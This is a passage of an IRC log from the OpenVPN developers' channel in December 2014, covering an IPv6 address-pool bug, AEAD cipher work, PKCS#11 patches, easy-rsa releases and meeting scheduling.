timeout: 255 seconds] 03:09 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 04:26 -!- mattock is now known as mattock_afk 05:17 -!- mattock_afk is now known as mattock 05:35 <@cron2> whee, now I actually *need* OpenVPN on AIX \o/ (this was more an idle thing to do, porting to AIX, but now it's coming in quite handy) 05:52 <@plaisthos> :D 06:29 <@cron2> DTAG has totally weird packet loss issues today - *some* (src,dst,proto) tuples have 25% loss, (src+1,dst,proto) is perfectly fine... so $customer's IPSEC connection is nearly unusable, while OpenVPN across the same access links (but likely balanced over different links in the core) works perfectly well \o/ 06:31 -!- Netsplit *.net <-> *.split quits: ender| 06:32 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 258 seconds] 07:34 <+krzee> https://www.coursera.org/course/crypto 07:34 <@vpnHelper> Title: Coursera (at www.coursera.org) 07:34 <+krzee> starts jan 5th guys =] 07:34 <+krzee> Cryptography I from stanford, free online class 07:34 <+krzee> i'll be taking the class, i invite others to take it if interested 07:35 <+krzee> i took surviellance law from stanford at the same site, LOVED it 07:47 <@plaisthos> cron2: what the fast alternative to tcam that cisco has in its new routers? 07:51 <@cron2> plaisthos: the ASR9000 series uses network processors, and I have no real idea how those work. Supposedly local SRAM - they can hold 2million routes, and need 1/10th the power of the old TCAM based stuff... 07:52 <@cron2> then there's the ASR1k, which is based on some sort of cisco-made forwarding ASIC, which I also have no idea how it works :-) (but it's more flexibile than TCAM, and more expensive) 07:53 <@plaisthos> ah okay 07:53 <@plaisthos> thanks 07:55 <@cron2> mattock: some of your buildslaves need a bit of love 07:55 <@mattock> hmm 07:56 <@mattock> I'll check 07:56 <@cron2> ubuntu1204 and fedora-19 07:56 <@cron2> (I just noticed that freebsd-7.4 had been rebooted and did not restart the buildslave, grrr) 07:57 <@mattock> love won't help fedora 19 as it's dead :) 07:57 <@mattock> ubuntu 12.04 needs to be rebuilt 07:57 <@mattock> I'll make those a task 07:59 <@mattock> I'll try tackle those tomorrow 08:00 <@mattock> on my queue 08:04 <@mattock> actually I'll switch to using ubuntu-1204-i386 instead... it's not used for anything useful and should be close to working order 11:34 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 14:11 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 272 seconds] 14:23 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 15:08 -!- mattock is now known as mattock_afk 16:23 <@syzzer> cron2: those p11-kit patches from david are based on release/2.3, but they cherry-pick nicely into master. applying directly to master failed. 16:23 <@syzzer> david -> david woodhouse, not 'our' david ;) 16:26 <@syzzer> oh, and for those interested, I pushed out a new AEAD branch to github: 16:26 <@syzzer> https://github.com/syzzer/openvpn/tree/aead-cipher-modes7 16:26 <@vpnHelper> Title: syzzer/openvpn at aead-cipher-modes7 · GitHub (at github.com) 16:26 <@syzzer> this one uses the approach as discussed with James during the hackathon 18:10 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 265 seconds] 18:11 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 18:11 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 23:01 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has quit [Ping timeout: 258 seconds] --- Log closed Tue Dec 16 23:01:54 2014 --- Log opened Wed Dec 17 10:53:10 2014 10:53 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has joined #openvpn-devel 10:53 -!- Irssi: #openvpn-devel: Total of 21 nicks [9 ops, 0 halfops, 3 voices, 9 normal] 10:53 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 10:53 -!- Irssi: Join to #openvpn-devel was synced in 9 secs 11:34 <@plaisthos> the app of Lev's company one of the few that did a complete reimplementation of the UI :) 12:23 <@ecrist> cron2: see the main channel. Is this guy on to something re IPv6, or am I missing smething? 12:46 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 258 seconds] 12:50 <@mattock> plaisthos: here's the stuff hideninja published: 12:50 <@mattock> https://github.com/hnteam/hideninja_core_openvpn_for_android (their modified version) 12:50 <@mattock> https://github.com/hnteam/hideninja_original_openvpnforandroid (your original version) 12:50 <@vpnHelper> Title: hnteam/hideninja_core_openvpn_for_android · GitHub (at github.com) 12:51 <@vpnHelper> Title: hnteam/hideninja_original_openvpnforandroid · GitHub (at github.com) 12:51 <@mattock> a bit clunky to have two repos, but I suspect there was a bit of a language barrier 12:59 <@cron2> ecrist: I'm not on #openvpn - whats this about? 13:07 <@ecrist> http://pastebin.ca/2888293 13:25 <@cron2> that's not a bug, actually. the first client ip is always "base address + 0x1000", so :80:ff00 + 0x1000 = :81:0f00 13:25 <@cron2> which is, what it does 13:26 <@cron2> but this might indeed break when using a /112, as +0x1000 is outside that network 13:27 <@cron2> so it seems it *is* a bug... meh 13:28 <@cron2> ah 13:28 <@cron2> well 13:29 <@cron2> a /112 would work, if you do not use *f*xxx inside the /112 - so using, like, :80:a000 will make it give the client :80:b001, which works nicely. Just 0xf000 wraps, and as the code is just bluntly assuming that the pool is big enough, boom 13:30 <@cron2> it won't crash, but will not work properly. (Who does such weird shit anyway, starting a pool address right at the upper end of the subnet?) 13:47 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 258 seconds] 13:48 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 13:52 <@ecrist> I told the user to follow the RFC and use /64 13:53 <@ecrist> *but*, openvpn shouldn't assign a client address outside the defined subnet - that's the bug 14:07 <@cron2> 20:27 <@cron2> so it seems it *is* a bug... meh 14:07 <@cron2> yes :) 14:07 <@cron2> (you could trigger the bug by using :ffff:ffff:ffff:ff00/64 as well...) 14:08 <@ecrist> oooh 14:28 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 258 seconds] 14:29 -!- mattock is now known as mattock_afk 14:41 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 15:18 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 15:18 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 16:27 <@pekster> cron2: A while back I hacked at some other related CIDR stuff, noting in particular that the net30 iterates IPv6 by 4 as well, among other things (like tracking the pool CIDR with the server's CIDR, which I think we discussed here a while back and decided was unnecessary.) http://article.gmane.org/gmane.network.openvpn.devel/8989 for reference (and there's a followup with a patch for that, but it's probably better to fix much ... 16:27 <@vpnHelper> Title: Gmane -- IPv6 pool and handling CIDR masks (at article.gmane.org) 16:27 <@pekster> ... of this related stuff in 2-3 of them in series 18:16 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Ping timeout: 264 seconds] 18:17 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 23:36 -!- mattock_afk is now known as mattock --- Day changed Thu Dec 18 2014 00:15 <@mattock> maybe these two would be more than enough for next Monday's meeting: https://community.openvpn.net/openvpn/wiki/Topics-2014-12-22 00:15 <@vpnHelper> Title: Topics-2014-12-22 – OpenVPN Community (at community.openvpn.net) 01:19 <@mattock> cron2: http://build.openvpn.net/downloads/snapshots/ 01:19 <@vpnHelper> Title: Index of /downloads/snapshots/ (at build.openvpn.net) 01:19 <@mattock> they get built and uploaded automatically 01:21 <@mattock> I'll test if they actually work 02:25 <@cron2> cool 02:28 <@cron2> pekster: net30 iterating IPv6 in steps of 4 would surprise me (and does not match what I see in the t_client setup - IPv4 is .54, IPv6 is :100c in the net30 case) 02:28 <@cron2> but yes, if there is something weird, let's go fix it :) 02:41 <@mattock> the snapshot installer actually do work 02:42 <@mattock> when the next commit lands we'll see if the who build&publishing process works as intended 02:42 <@mattock> although It Should Just Work(tm) 02:42 <@mattock> plaisthos: the error importing Access Server profiles to OpenVPN for Android seems to have gone away 02:42 <@cron2> I'll commit the pkcs11 enhancements "real soon now" :) 02:42 <@mattock> cron2: sounds good :) 02:43 <@mattock> did you guys check the proposed meeting agenda: https://community.openvpn.net/openvpn/wiki/Topics-2014-12-22 02:43 <@vpnHelper> Title: Topics-2014-12-22 – OpenVPN Community (at community.openvpn.net) 02:43 <@mattock> it would sure be nice to get OS X keychain support and interactive service into 2.4 02:43 <@cron2> yeah 02:44 <@cron2> on a related tangent: have you heard anything from James recently, like "peer-id support in iOS client" or such? :) 02:44 <@mattock> if we can Vasily to commit to maintaining the functionality all we'd need to do is review the code properly 02:44 <@mattock> no, haven't heard much from him lately 02:44 <@cron2> it's a big and quite intrusive patch... 02:44 <@mattock> yep 02:44 <@mattock> we might have to summon James to help with the OS X keychain support, too 02:45 <@mattock> OpenVPN Connect has support for it, too 02:45 <@mattock> as well as Windows keystore 02:45 <@mattock> I recall him saying that OpenVPN Connect also has something similar to d12fk's interactive service in it 02:45 <@cron2> yep, he mentioned that 2013 in munich 03:19 < ender|> make the interactive service a reality, and i'll be able to ditch ipsec+shrewsoft everywhere 03:44 <+krzee> what is meant by interactive service? 03:45 <@plaisthos> mattock: I have changed nothing :) 03:46 <@plaisthos> @Keychain support, I think that stuff belongs in Tunnelblick instead of OpenVPN but there is working code now 03:49 <+krzee> ^ i agree 04:26 -!- mattock is now known as mattock_afk 05:36 -!- mattock_afk is now known as mattock 05:38 <@mattock> plaisthos: good that the bug resolved itself :P 05:43 <@mattock> actually, now that I think of it, I might be able to get the Viscosity guys to chime in on the keychain thing, too 05:44 <@mattock> they've been quite helpful, even though they are selling a proprietary OpenVPN client 05:54 <@mattock> sent them an email 07:16 <@plaisthos> they claim pcks#11 support 07:16 <@plaisthos> which sounds like they implemented something themselves 07:16 <@plaisthos> probably also in the UI 07:19 <@mattock> I talked about those features with them and came to the conclusion that they're not violating the GPL 07:19 <@mattock> they even had the openvpn sources available 07:23 <@plaisthos> and since they are only selling a client it does not impede OpenVPN Corp business model 08:02 < ender|> <krzee> what is meant by interactive service? <- service that can receive commands from userspace to establish VPN connection (main benefit is that a non-admin user can establish connection) 08:06 <@plaisthos> "Hi it doesn't work any more can you guys fix that please thank you" 08:18 <+krzee> ender|, thanks =] 08:27 < ender|> interactive service is a bit weird name (especially since in windows context it means a service that displays UI, which has been discouraged forever, and made annoying since vista) 10:07 <@cron2> well, "interactive service" is the service that can be talked to, interactively, as opposed to the old openvpn service which is "fire at boot and don't talk to me" 10:15 <@pekster> cron2: Did IPv6 handling change recently? I haven't looked/hacked at -master since the date of that patch. It used to start at the "beginning" and then blindly count forward X number of IPs to match the offset from the IPv4 IP 10:16 <@cron2> pekster: that particular code path didn't change since the 2.1 patch series 10:17 <@cron2> and I think it does "IPv6 base address + slot number in the pool" - while IPv4 gets 4x(slot number) 10:17 <@pekster> Maybe I'll see about re-visiting that; I had a few laundry-list items including that goofy CIDR behavior and env-vars. When I dug deeper parts were inter-connected in a way that might be nice to do a several-patch series on "fix much v6 stuff" 10:17 <@cron2> let me check :) 10:18 <@pekster> Unless someone beats me to it. I might have more specific comments for you late evenin-ish (your time) to glance at it again. I probably won't have time to get my head around the internals for real for a couple weeks though 10:18 <@cron2> pool.c, ifconfig_pool_acquire 10:18 <@cron2> case IFCONFIG_POOL_30NET: 10:18 <@cron2> in_addr_t b = pool->base + (i << 2); 10:18 <@cron2> case IFCONFIG_POOL_INDIV: 10:18 <@cron2> in_addr_t b = pool->base + i; 10:18 <@cron2> /* IPv6 pools are always INDIV (--linear) */ 10:18 <@cron2> *remote_ipv6 = add_in6_addr( pool->base_ipv6, i ); 10:19 <@cron2> and git blame claims that code is from 10:19 <@cron2> 512cda46 pool.c (Gert Doering 2010-01-07 14:51:40 +0100 250) *remote_ipv6 = add_in6_addr( pool->base_ipv6, i ); 10:20 <@cron2> (but I *do* agree that there is stuff in the pool handling that could use improvement :-) - just not this particular bit) 10:21 <@pekster> ah, bitshift, heh. As I said, it's been a while (I remember looking at it wrt CIDR pushed, though the recent bugreport of overrunning the range is semi-related) 10:22 <@cron2> "i" is the slot number, which is always linear :) 13:39 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has quit [Remote host closed the connection] 18:12 <@syzzer> aaargh, older openssl versions are broken and have other (undocumented) requirements for AEAD to work :/ 18:13 <@syzzer> anyway, now there's an updated AEAD branch that should work: https://github.com/syzzer/openvpn/tree/aead-cipher-modes7 18:13 <@vpnHelper> Title: syzzer/openvpn at aead-cipher-modes7 · GitHub (at github.com) --- Day changed Fri Dec 19 2014 06:55 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has joined #openvpn-devel 07:02 <@plaisthos> syzzer: that stuff is not rebased on current -master, right? 07:09 <@plaisthos> oh it is 08:11 -!- kwork [~user@unaffiliated/kwork] has joined #openvpn-devel 08:49 <@syzzer> plaisthos: of course it is, 1 out of every 10 of my git commands is 'rebase' :p 08:50 <@syzzer> or maybe even 1 out of 4, if you count --continue and --skip as separate commands... 13:04 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 13:08 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 244 seconds] 13:08 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 244 seconds] 13:09 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 13:09 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 17:26 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 17:26 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ --- Day changed Sat Dec 20 2014 01:08 -!- snappy [nipnop@unaffiliated/snappy] has quit [Ping timeout: 258 seconds] 05:41 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 244 seconds] 05:42 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 05:42 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 10:34 -!- kwork [~user@unaffiliated/kwork] has quit [Ping timeout: 265 seconds] 10:34 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 265 seconds] 10:34 -!- _bt [~bt@unaffiliated/bt/x-192343] has quit [Ping timeout: 265 seconds] 10:37 -!- EvilJStoker_ [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 10:44 -!- floppym_ [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 10:45 -!- Netsplit *.net <-> *.split quits: EvilJStoker 10:45 -!- EvilJStoker_ is now known as EvilJStoker 10:49 -!- syzzer [~syzzer@2001:610:697::12] has joined #openvpn-devel 10:50 -!- syzzer [~syzzer@2001:610:697::12] has quit [Changing host] 10:50 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 10:50 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 13:03 -!- ampsix [uid26275@gateway/web/irccloud.com/x-gxxpxvcjsiqeqhme] has joined #openvpn-devel 13:04 < ampsix> hi 13:05 < ampsix> i just downloaded the latest installer from http://openvpn.net/index.php/open-source/downloads.html 13:05 <@vpnHelper> Title: Downloads (at openvpn.net) 13:05 < ampsix> i tried to verified the sig, kleopatra on windows 13:06 < ampsix> and got this " Signed on 2014-12-01 16:26 with unknown certificate 0xC29D97ED198D22A3. 13:06 < ampsix> The signature is invalid: No public certificate to verify the signature " 13:50 -!- floppym_ is now known as floppym 14:45 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Quit: What language do deaf people think in?] 15:49 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 16:32 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has quit [Remote host closed the connection] --- Day changed Sun Dec 21 2014 02:42 <@cron2> ampsix: that would be mattock's field of work, but he's seldom here over the weekend 05:13 -!- ampsix [uid26275@gateway/web/irccloud.com/x-gxxpxvcjsiqeqhme] has quit [Quit: Connection closed for inactivity] 05:29 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has joined #openvpn-devel 05:39 <@syzzer> hmm, according to the manpage using --auth without an algorithm is not allowed, but the code does allow it (and treats it as an override to previous 'auth none' settings). 05:39 <@syzzer> does that make sense to any of you? 05:40 <@syzzer> oh, but that override won't actually work even... 05:43 <@cron2> what is --auth? *read manpage* 05:43 <@cron2> ah 06:00 <@syzzer> same goes for --cipher, btw 06:35 <+krzee> syzzer, that was you who told me about crypto 1 from stanford, right? 06:53 <@syzzer> krzee: yep 06:53 <@syzzer> starting next month, right? 06:53 <+krzee> sweet. im signed up 06:53 <+krzee> yep jan 5th 06:53 <+krzee> been watching vids from the preview 06:53 <@syzzer> cool :) it's really good 06:54 <+krzee> im very excited about it 06:54 <+krzee> the surviellance law class (also stanford) was amazing, i feel lucky we can access such great teachers for free 06:55 <+krzee> people work their whole lives and pay tons of $ to get in to stanford classes 08:17 -!- ampsix [uid26275@gateway/web/irccloud.com/x-arexsipmihlwrtna] has joined #openvpn-devel 08:37 <@plaisthos> syzzer: does not make sense for me 08:42 <@syzzer> plaisthos: well, as it doesn't make sense to you, as our 'options expert', either, I might as well rip it out... 08:43 <@syzzer> for now I kept it in 08:43 <@syzzer> (reworking this code for my hobby project of this weekend, cipher auto selection) 09:04 <@syzzer> whee: http://pastebin.com/Q3XpmcsH 09:04 <@syzzer> (definitely not production ready yet, though) 09:06 <@plaisthos> syzzer: cool! 12:23 <@cron2> syzzer: based on James' ideas 1.5 years ago, or "fresh from start"? 12:24 <@syzzer> based on "whatever formed itself in my head", but I guess that will be influenced by James. I also discussed the subject with him shortly last month in Munich. 12:25 <@cron2> ah :) 12:26 <@syzzer> I'm looking though my mailbox, looking for James' ideas, but can't find any 12:26 <@syzzer> you have a pointer somewhere/ 12:27 <@syzzer> ah, found something 12:32 <@syzzer> ah, no, what James was suggesting 1.5 years ago is full negotiation. my current approach is simpler, and just allows a server to use whatever the client chose for the data channel (as long as the cipher was approved). 12:32 <@syzzer> what james suggests would be the next step 12:33 <@cron2> so the clients sends IV_WANT_CIPHER=aes1024 and the server will do that? 12:33 <@syzzer> nope, clients do not need to do anything different, it's fully backward compatible 12:33 <@syzzer> server just reads whatever the client sent in the options string 12:33 <@cron2> so how is the cipher chosen? 12:34 <@cron2> oh, via OCC? 12:34 <@syzzer> yep 12:34 <@cron2> I've not fully grokked OCC on the server side yet, but that will be an entertaining read, then :-) 12:35 <@syzzer> it's actually not that hard at all (well, at least this part...) 12:36 <@syzzer> I do think using the IV_ stuff is the real way forward 12:36 <@cron2> you're solving one of the stopgaps James had ("per-client cipher") so it's cool anyway :) 12:36 <@syzzer> but this part is quite easy and really offers a migration path from old clients 12:38 <@syzzer> I'm currently cleaning up to make it a bit less 'magic', hopefully ready for testing/review in a week or so 12:41 <@cron2> one of the frustrating bits about having a family is - I used to have two weeks of hacking time between christmas and Jan 6... now, I have "Kindergarten is closed", which means "barely time to get the most pressing things done, no time and no brains to really focus on something" :( 18:23 -!- ampsix [uid26275@gateway/web/irccloud.com/x-arexsipmihlwrtna] has quit [Quit: Connection closed for inactivity] 18:31 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Remote host closed the connection] 18:58 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 19:00 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Remote host closed the connection] 19:00 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 22:18 -!- ampsix [uid26275@gateway/web/irccloud.com/x-gtafprnzbwkpcaea] has joined #openvpn-devel 22:19 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 258 seconds] 22:22 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 23:04 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Read error: Connection reset by peer] 23:06 -!- lev__ [~lev@stipakov.fi] has quit [Ping timeout: 245 seconds] --- Day changed Mon Dec 22 2014 02:11 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:11 -!- mode/#openvpn-devel [+o mattock_afk] by ChanServ 02:11 -!- mattock_afk is now known as mattock 02:17 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 02:17 -!- mode/#openvpn-devel [+o cron2] by ChanServ 03:33 -!- ampsix [uid26275@gateway/web/irccloud.com/x-gtafprnzbwkpcaea] has quit [Quit: Connection closed for inactivity] 05:46 -!- lev__ [~lev@stipakov.fi] has joined #openvpn-devel 08:00 -!- mattock is now known as mattock_afk 08:19 -!- mattock_afk is now known as mattock 09:21 -!- djc [~djc@gentoo/developer/djc] has joined #openvpn-devel 09:21 < djc> has the work on easy-rsa stalled? 09:21 < djc> there's this rc2, and then nothing 09:22 < djc> it would sure be nice to get another non-rc release out there, with SHA2 support 11:54 <@pekster> djc: Nope, just have a release-blocking bug I'm working on. You do know all easyrsa3 development (and the last security-related release to easy-rsa v2) supports up to SHA2-512 now? 11:55 <@pekster> djc: For reference: https://github.com/OpenVPN/easy-rsa/blob/v3.0.0-rc2/easyrsa3/vars.example#L188 11:56 <@vpnHelper> Title: easy-rsa/vars.example at v3.0.0-rc2 · OpenVPN/easy-rsa · GitHub (at github.com) 12:51 <@mattock> all set for meeting? 12:52 <@mattock> james has been informed 13:02 -!- jamesyonan [~jamesyona@c-67-166-32-18.hsd1.co.comcast.net] has joined #openvpn-devel 13:02 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:04 <@mattock> cron2, plaisthos, syzzer et al: here? 13:05 <@mattock> it looks like we're having a shortage of people 13:25 <@mattock> looks like everyone is in the Christmas mood already, so the meeting is cancelled 13:25 <@mattock> in any case Merry Christmas guys! 14:01 <@syzzer> oh, man, totally forgot about the meeting 14:02 <@syzzer> sorry :( 14:09 <@mattock> well, I forgot all about it last Monday and the Monday before that :| 14:10 <@mattock> anyways, let's try again after Christas on early next January 14:10 <@mattock> or 14:12 <@syzzer> yes, either would be good for me (as long as I don't forget...) 14:13 <@syzzer> there's quite some stuff to do before 2.4 can get out, so I actually would say the sooner the better. Keep it going :) 16:30 <@cron2> oops. meeting. lol. 16:31 <@cron2> sorry 16:31 <@cron2> too much family and christmas getting in the way. But next week is ok 23:26 -!- jamesyonan [~jamesyona@c-67-166-32-18.hsd1.co.comcast.net] has quit [Ping timeout: 258 seconds] --- Day changed Tue Dec 23 2014 00:46 <@mattock> monday meetings are difficult to remember for everyone I guess :P 00:52 <+krzee> i may never be able to show to a monday meeting 02:29 <@cron2> mattock: *things* are difficult to remember for me right now :-( - I think it might actually work to post a reminder in here monday afternoon... 02:29 <@mattock> cron2: yeah, we probably have to do that 02:30 <@mattock> who will remind me if I forget? :P 02:30 <@syzzer> calenders are awesome ;) 02:30 * cron2 points at... mmmh... syzzer! 02:30 <@mattock> syzzer: yeah :P 02:31 <@mattock> I probably have to add a reminder to my selfphone about reminding you guys 02:31 <@cron2> calendar helps if you sit next to it :) - I was busy baking cookies, etc., so far from a computer 02:33 * syzzer has just put the next meeting in his calender, with a reminder at 15:00. Let's see if that I will remember to post a notification here... 02:36 <@mattock> ok, so next meeting next week on Monday? 02:37 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 244 seconds] 02:38 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 02:39 <@cron2> yes! 02:47 <@syzzer> ack 03:06 < djc> pekster: you mean #24? 03:07 < djc> which doesn't seem complex enough to warrant being open for 9 months 06:03 <@pekster> Yea, fair enough. It's somewhat non-trivial (probably means reversing part of the set_var/defaults logic that's there now so vars-file can reference unchanged defaults in compound expansions,) but also hasn't seen much focus until recently 06:14 <@cron2> translated to "it's a spare-time project and this particular issue hasn't affected me directly yet" :-) 06:14 * cron2 wunderstands very well 06:25 -!- Netsplit *.net <-> *.split quits: @mattock, +novaflash, @pekster, @plaisthos, @vpnHelper, +krzee, shivanshu, floppym 06:25 -!- _bt [~bt@mongs.yotm.com] has joined #openvpn-devel 06:26 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:26 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has joined #openvpn-devel 06:26 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 06:26 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 06:26 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 06:26 -!- ServerMode/#openvpn-devel [+ooov mattock plaisthos pekster krzee] by kornbluth.freenode.net 06:26 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 06:27 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 06:27 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has joined #openvpn-devel 06:27 -!- ServerMode/#openvpn-devel [+ov vpnHelper novaflash] by kornbluth.freenode.net 06:30 < djc> cron2: I understand that sort of dynamic, I'm also an open source maintainer 06:30 < djc> still, "hasn't me directly yet" sometimes doesn't count as much when you're the maintainer 06:30 < djc> + affected 06:31 <@cron2> yeah 07:57 <@ecrist> djc: there's the old addage with open source - you're always welcome to a refund. ;) 08:20 <@plaisthos> mattock: yes! 08:21 <@plaisthos> (only one day late) 08:33 < djc> ecrist: hey, I actually did ask how I could help with the issue 08:33 < djc> about 3 months ago 08:33 < djc> but didn't receive any response 08:33 < djc> so at least I tried to anticipate that other adage: "patches welcome" 08:41 <@pekster> A test-sequence to validate order-of-overrides would be handy at this point, actually. There are probably "too many" ways to supply options, but oh well, that was a goal from early-on. Something to validate that future changes don't regress any expected behavior 08:42 <@pekster> https://github.com/OpenVPN/easy-rsa/blob/master/doc/EasyRSA-Advanced.md#configuration-sources 08:42 <@vpnHelper> Title: easy-rsa/EasyRSA-Advanced.md at master · OpenVPN/easy-rsa · GitHub (at github.com) 09:10 <@cron2> pekster: are you talking about... gasp... *testing*? 09:28 -!- rfizzle [~textual@ec2-54-173-101-14.compute-1.amazonaws.com] has joined #openvpn-devel 09:35 -!- rfizzle [~textual@ec2-54-173-101-14.compute-1.amazonaws.com] has quit [Ping timeout: 240 seconds] 09:39 -!- rfizzle [~textual@70.114.194.87] has joined #openvpn-devel 09:47 -!- rfizzle [~textual@70.114.194.87] has quit [Ping timeout: 265 seconds] 10:34 -!- rfizzle [~textual@ec2-54-173-101-14.compute-1.amazonaws.com] has joined #openvpn-devel 11:19 -!- rfizzle [~textual@ec2-54-173-101-14.compute-1.amazonaws.com] has quit [Ping timeout: 272 seconds] 13:36 -!- mattock is now known as mattock_afk 14:16 -!- ampsix [uid26275@gateway/web/irccloud.com/x-uizaajbtamuiznkd] has joined #openvpn-devel 17:23 -!- ampsix [uid26275@gateway/web/irccloud.com/x-uizaajbtamuiznkd] has quit [Quit: Connection closed for inactivity] 18:48 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has quit [Remote host closed the connection] 22:13 -!- ampsix [uid26275@gateway/web/irccloud.com/x-dhbofdwkbzuohbkw] has joined #openvpn-devel --- Day changed Wed Dec 24 2014 03:35 -!- _bt [~bt@mongs.yotm.com] has quit [Ping timeout: 244 seconds] 05:11 -!- mattock_afk is now known as mattock 05:12 -!- mattock is now known as mattock_afk 06:38 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has joined #openvpn-devel 08:03 -!- ampsix [uid26275@gateway/web/irccloud.com/x-dhbofdwkbzuohbkw] has quit [Quit: Connection closed for inactivity] 23:59 -!- ampsix [uid26275@gateway/web/irccloud.com/x-jiezzhtlebfiquex] has joined #openvpn-devel --- Day changed Thu Dec 25 2014 06:03 -!- ampsix [uid26275@gateway/web/irccloud.com/x-jiezzhtlebfiquex] has quit [Quit: Connection closed for inactivity] 20:31 -!- andj__ [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 20:31 -!- mode/#openvpn-devel [+o andj__] by ChanServ 20:49 -!- Netsplit *.net <-> *.split quits: @andj 20:49 -!- andj__ is now known as andj 21:27 -!- ampsix [uid26275@gateway/web/irccloud.com/x-skffvjkkgjmgogwi] has joined #openvpn-devel --- Day changed Fri Dec 26 2014 08:13 -!- ampsix [uid26275@gateway/web/irccloud.com/x-skffvjkkgjmgogwi] has quit [Quit: Connection closed for inactivity] 13:19 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 258 seconds] 13:56 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 13:56 -!- mode/#openvpn-devel [+o pekster] by ChanServ 15:53 -!- ampsix [uid26275@gateway/web/irccloud.com/x-ujotyfqxiysghpnn] has joined #openvpn-devel 20:34 -!- d12fk [~heiko@s15438066.onlinehome-server.info] has quit [Ping timeout: 240 seconds] 20:56 -!- d12fk [~heiko@s15438066.onlinehome-server.info] has joined #openvpn-devel 20:56 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 23:33 -!- ampsix [uid26275@gateway/web/irccloud.com/x-ujotyfqxiysghpnn] has quit [Quit: Connection closed for inactivity] --- Day changed Sat Dec 27 2014 01:39 -!- d12fk [~heiko@s15438066.onlinehome-server.info] has quit [Ping timeout: 265 seconds] 03:40 -!- d12fk [~heiko@s15438066.onlinehome-server.info] has joined #openvpn-devel 03:40 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 04:06 -!- d12fk [~heiko@s15438066.onlinehome-server.info] has quit [Ping timeout: 258 seconds] 04:55 -!- Envil [~meep@95.211.26.40] has joined #openvpn-devel 08:42 <@cron2> mattock: #419 should be done for good now, right? 08:54 <@vpnHelper> RSS Update - gitrepo: Make 'provider' option to --show-pkcs11-ids optional where p11-kit is present <https://github.com/OpenVPN/openvpn/commit/7c1d614c5c5282a73cb799f919eac6750363783a> || pkcs11: Load p11-kit-proxy.so module by default <https://github.com/OpenVPN/openvpn/commit/3c6d32205db88348c07c720b710b41548497819c> 11:04 -!- roentgen 